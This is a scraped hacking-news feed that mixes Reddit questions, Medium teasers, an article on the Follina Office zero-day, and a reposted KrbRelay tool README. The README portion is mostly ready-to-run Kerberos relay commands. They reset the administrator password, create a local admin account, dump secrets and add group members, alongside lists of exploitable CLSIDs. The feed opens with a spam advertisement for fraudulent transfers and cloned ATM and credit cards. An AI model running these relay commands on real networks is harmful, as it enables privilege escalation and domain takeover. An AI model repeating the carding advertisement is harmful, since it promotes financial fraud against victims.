Hacking on Medium
DO ALL TRANSFERS CASHAPP WESTERN UNION PAYPAL BLANK CLOND ATM CREDIT CARDS HIGH BALANCE

ALBERT’S CASH TEAM SERVICE WORLDWIDE(GET RICH NOW/SOLVE ALL PROBLEM NOW)

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Zero-Day ‘Follina’ Bug Lays Older Microsoft Office Versions Open to Attack. Malware loads itself from remote servers and bypasses Microsoft’s Defender AV scanner, according to reports.

https://external-preview.redd.it/DDZjqETD7UeNY7QBj3O4WVtRaS-30quYJwcTqbYrZlg.jpg?width=640&crop=smart&auto=webp&s=992407ba1db116c39314c0835f160d99b58b4b91 submitted by /u/Late_Ice_9288
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
KrbRelay : Framework For Kerberos Relaying

KrbRelay should be working on most fully patched Windows systems. There may be difficulties with Server OS in lab environments because of the firewall blocking the OXID resolver however, this will most likely not be an issue during real life engagements, same goes for CLSIDs. Supported Protocols and FeaturesSome protocols are more completed than others, PR’s are welcomed.

* LLMNR
* LDAP/LDAPS
* HTTP
* EWS

* SMBv2
* RPC over SMB
* MS-SAMR
* MS-SCMR
* MS-RPRN
* MS-RRP
* MS-LSAT/MS-LSAD ExamplesLPE
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred
Cross-Session LDAP
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -shadowcred win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -rbcd S-1-5-21-2982218752-1219710089-3973213059-1606 win2016$
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember srv_admins domain_user
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -laps
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -gmsa
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ssl -reset-password administrator Password123!
Cross-Session HTTP
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-search beta,test
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.asmx -ssl -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -ews-delegate domain_user@htb.local
.\KrbRelay.exe -spn http/win2016.htb.local -endpoint iisstart.htm -proxy -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182
Cross-Session SMB
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -console
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-privileges (([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value)
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -secrets
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -service-add addUser “C:\windows\system32\cmd.exe /c “”””C:\windows\system32\net user cube Password123! /add && C:\windows\system32\net localgroup administrators cube /add”””””
LLMNR
.\KrbRelay.exe -llmnr -spn ‘cifs/win2019.htb.local’ -secrets CheckPort.exeis a C# tool that can be used to discover available ports for the OXID resolver.

C:\Users\domain_user\Desktop\KrbRelay\CheckPort\bin\Release\CheckPort.exe
[] Looking for available ports.. [] Port: 1024 is available CLSIDsWe’ll need to unmarshal our OBJREF inside of a process that would allow authentications over the network, this can be verified by looking at the Impersonation Level* RPC_C_IMP_LEVEL_DEFAULT # Will not work
* RPC_C_IMP_LEVEL_ANONYMOUS # Will not work
* RPC_C_IMP_LEVEL_IDENTIFY # Works for LDAP
* RPC_C_IMP_LEVEL_IMPERSONATE # Required for SMB
* RPC_C_IMP_LEVEL_DELEGATE

When relaying to LDAP or any other service that has signing enabled but not enforced we would also need to verify that the Authentication Levelof the process is set to RPC_C_AUTHN_LEVEL_CONNECT.

Processes running under NT Authority\Network servicewill use the SYSTEM account when authenticating over the network.

Tool for discove[...]

___________________________
@hacking_Attack
@Hacking_Video

ring CLSIDs: https://github.com/tyranid/oleviewdotnet

Import-Module .\OleViewDotNet.psd1
Get-ComDatabase -SetCurrent
$comdb = Get-CurrentComDatabase
$clsids = (Get-ComClass).clsid
Get-ComProcess -DbgHelpPath ‘C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll’ | select ProcessId,ExecutablePath,Name,AppId,User,AuthnLevel,ImpLevel Windows 10 1903SYSTEM Relay
0bae55fc-479f-45c2-972e-e951be72c0c1 # RPC_C_IMP_LEVEL_IDENTIFY
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
Cross-Session Relay
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE Server 2019SYSTEM Relay
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
Cross-Session Relay
354ff91b-5e49-4bdc-a8e6-1cb6c6877182 # RPC_C_IMP_LEVEL_IMPERSONATE
38e441fb-3d16-422f-8750-b2dacec5cefc # RPC_C_IMP_LEVEL_IMPERSONATE
f8842f8e-dafe-4b37-9d38-4e0714a61149 # RPC_C_IMP_LEVEL_IMPERSONATE Server 2016SYSTEM Relay
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE
Cross-Session Relay
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
5f7f3f7b-1177-4d4b-b1db-bc6f671b8f25 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
98068995-54d2-4136-9bc9-6dbcb0a4683f # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
bdb57ff2-79b9-4205-9447-f5fe85f37312 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE Error codesDoesn’t work the first time? try again then check these error codes, and if you are going to open an Issue, please paste the full output. Firewall blocking the OXID resolverSystem.Runtime.InteropServices.COMException (0x800706BA): The RPC server is unavailable. (Exception from HRESULT: 0x800706BA) Bad CLSIDSystem.Runtime.InteropServices.COMException (0x80080004): Bad path to object (Exception from HRESULT: 0x80080004 (CO_E_BAD_PATH)) Download

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Curiosity over vulnerabilities

Dear all, I have a curiosity. I'm not well educated in programming and hacking, so excuse me if I post this here. I read over and over again that people hade their instagram account hacked. How is this possible? Why is that Instagram has so many holes and vulnerabilities?

submitted by /u/LeaderOne81
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Zero-Day ‘Follina’ Bug Lays Older Microsoft Office Versions Open to Attack

Zero-Day ‘Follina’ Bug Lays Older Microsoft Office Versions Open to AttackPost Views: 53
Premium Content https://www.blackhatethicalhacking.com/wp-content/uploads/2022/04/Patreon-3.png Subscribe to Patreon to watch this episode.
Reading Time: 2 Minutes
A zero-day vulnerability in Microsoft Office allows adversaries to run malicious code on targeted systems via a flaw a remote Word template feature.
The warning comes from Japanese security vendor Nao Sec, which tweeted a warning about the zero day over the weekend.

Noted security researcher Kevin Beaumont dubbed the vulnerability “Follina”, explaining the zero day code references the Italy-based area code of Follina – 0438.

Beaumont said the flaw is abusing the remote template feature in Microsoft Word and is not dependent on a typical macro-based exploit path, common within Office-based attacks. According to Nao Sec, a live sample of the bug was found in a Word document template and  links to an internet protocol (IP) address in the Republic of Belarus.

It’s unclear if the zero-day bug has been actively leveraged by adversaries. There are unconfirmed reports that proof-of-concept code exists and more recent versions of Office are vulnerable to attack. Meanwhile, security researchers say  users can follow Microsoft Attack Surface Reduction measures to mitigate risk, in lieu of a patch.
See Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Working of Follina Nao Sec researchers explain the path to infection includes the malicious template loading an exploit via a hypertext markup language (HTML) file from a remote server.
Interesting maldoc was submitted from Belarus. It uses Word's external link to load the HTML and then uses the "ms-msdt" scheme to execute PowerShell code.https://t.co/hTdAfHOUx3 pic.twitter.com/rVSb02ZTwt

— nao_sec (@nao_sec) May 27, 2022
The loaded HTML uses the “ms-msdt” MSProtocol URI scheme to load and execute a snippet of PowerShell code.

“It uses Word’s external link to load the HTML and then uses the ‘ms-msdt’ scheme to execute PowerShell code,” as reported by Nao Sec.

The MSDT stands for the Microsoft Support Diagnostic Tool and collects information and reports to Microsoft Support. This troubleshooting wizard will analyze the gathered info and attempt to find a resolution to hiccups experienced by the user.

Beaumont found that the flaw allows the code to run via MSDT, “even if macros are disabled”.
See Also: Malicious PyPI package opens backdoors on Windows, Linux, and Macs “Protected View does kick in, although if you change the document to RTF form, it runs without even opening the document (via the preview tab in Explorer) let alone Protected View,” further explained by Beaumont.

Beaumont confirmed that the exploit is currently affecting the Older versions of Microsoft Office 2013 and 2016 and the endpoint detection “missed execution” of malware.

Another security researcher Didier Stevens said he exploited the Follina bug on a fully patched version of Office 2021, and John Hammond a cybersecurity researcher tweeted the working proof of Follina.
See Also: Offensive Security Tool: Arjun Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
Microsoft users with E5 licenses can detect the exploit by appending the endpo[...]

___________________________
@hacking_Attack
@Hacking_Video

int query to Defender. Additionally, Warren suggests using the Attack Surface Reduction (ASR) rules to block the office applications from creating child processes.
See Also: The Difference between Vulnerability Assessment and Pentesting
Source: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/evilgnomes-linux-malware-steals-audios-spy-on-linux-users-1-1-1024x688-1-90x90.jpg New Windows Subsystem for Linux malware steals browser auth cookies1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/shutterstock_176459972-90x90.jpg LinkedIn bug bounty program goes public with rewards of up to $18k4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/vmware-cloudnerve-90x90.jpg New ‘Cheers’ Linux ransomware targets VMware ESXi servers5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/mozilla-releases-fixes-for-firefox-thunderbird-vulnerabilities-exploited-during-pwn2own-vancouver-2022-hacking-contest-90x90.jpg Mozilla fixes Firefox, Thunderbird zero-days exploited at Pwn2Own6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/4x3_1600x1200_highres-Word_Snake_News-90x90.jpg Snake Keylogger Spreads Through Malicious PDFs1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/FTYM512XsAArcFs-90x90.jpg Malicious PyPI package opens backdoors on Windows, Linux, and Macs1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/WordPress_headpic-90x90.jpg Critical Vulnerability in Premium WordPress Themes Allows for Site Takeover2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/3e41-article-210226-vmware-body-text-90x90.jpg April VMware Bugs Abused to Deliver Mirai Malware, Exploit Log4Shell2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/iphone-low-power-hacking_068D000001681697-90x90.jpg iPhones Vulnerable to Attack Even When Turned Off2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/05/ezgif.com-gif-maker-90x90.jpg Apple emergency update fixes zero-day used to hack Macs, Watches2 weeks ago
The post Zero-Day ‘Follina’ Bug Lays Older Microsoft Office Versions Open to Attack first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
LetsDefend.io SOC 104 — Malware Detected!

https://cdn-images-1.medium.com/max/1422/1*DKTayHwUkiiAFU5ATEjv4A.png
Today we’re going to analyze a case on LetsDefend.io platform which detects there has been malware on the network.

Continue reading on Medium »

Hacking on Medium
Finally, I Got My 100 Followers

https://cdn-images-1.medium.com/max/1091/1*AATz8puHCh8ww9HAUvzJgA.png
I Was Hacked

Continue reading on Be Yourself »

Hacking on Medium
TryHackMe Erlik Machine

https://cdn-images-1.medium.com/max/2600/0*TkrCWPbf75X7kd1e
Kale İleri Teknoloji olarak hazırlamış olduğumuz zafiyetli makineye https://tryhackme.com/jr/erlikmachine linki üzerinden ulaşabilirsiniz.

Continue reading on Medium »

Hacking on Medium
Top Ten Hacks and Breaches Of All Time

https://cdn-images-1.medium.com/max/600/0*M8DeZmlz-WvIMC3G
1. The TJX Companies, Inc. (2007)

Continue reading on Medium »

hacking: security in practice
Hacking/security risk while unsubscribing to spam emails

Problem statement : I get a lot of spam emails everyday like most people do. The email filters aren't perfect so sometimes even valid emails are sent to spam folder. If there are a lot of spam emails per day, then it can be difficult to find and retrieve these valid emails from the spam folder. Therefore I need to unsubscribe to reduce the daily count of junk emails.

Solution implemented : I have multiple devices so I use one device exclusively for high risk web access. So basically unsubscribing to junk emails, clicking on internet links that are not https or any accessing of websites that my anti-virus flags as a potentially compromised/risky domain. Username/password for these email accounts are filled using a password manager, anti-virus is installed, and the device functions in isolation ( not connected to data storage devices or home network).

In this environment, If I unsubscribe to spam emails by clicking on the unsubscribe link in that email, what level of risk is there?

submitted by /u/Ezqxll
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Website or App for virtual hacking

Is there a website or app that I can use in order to try my tools on for example hacking a virtual network, website, system...

submitted by /u/FlikTik
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video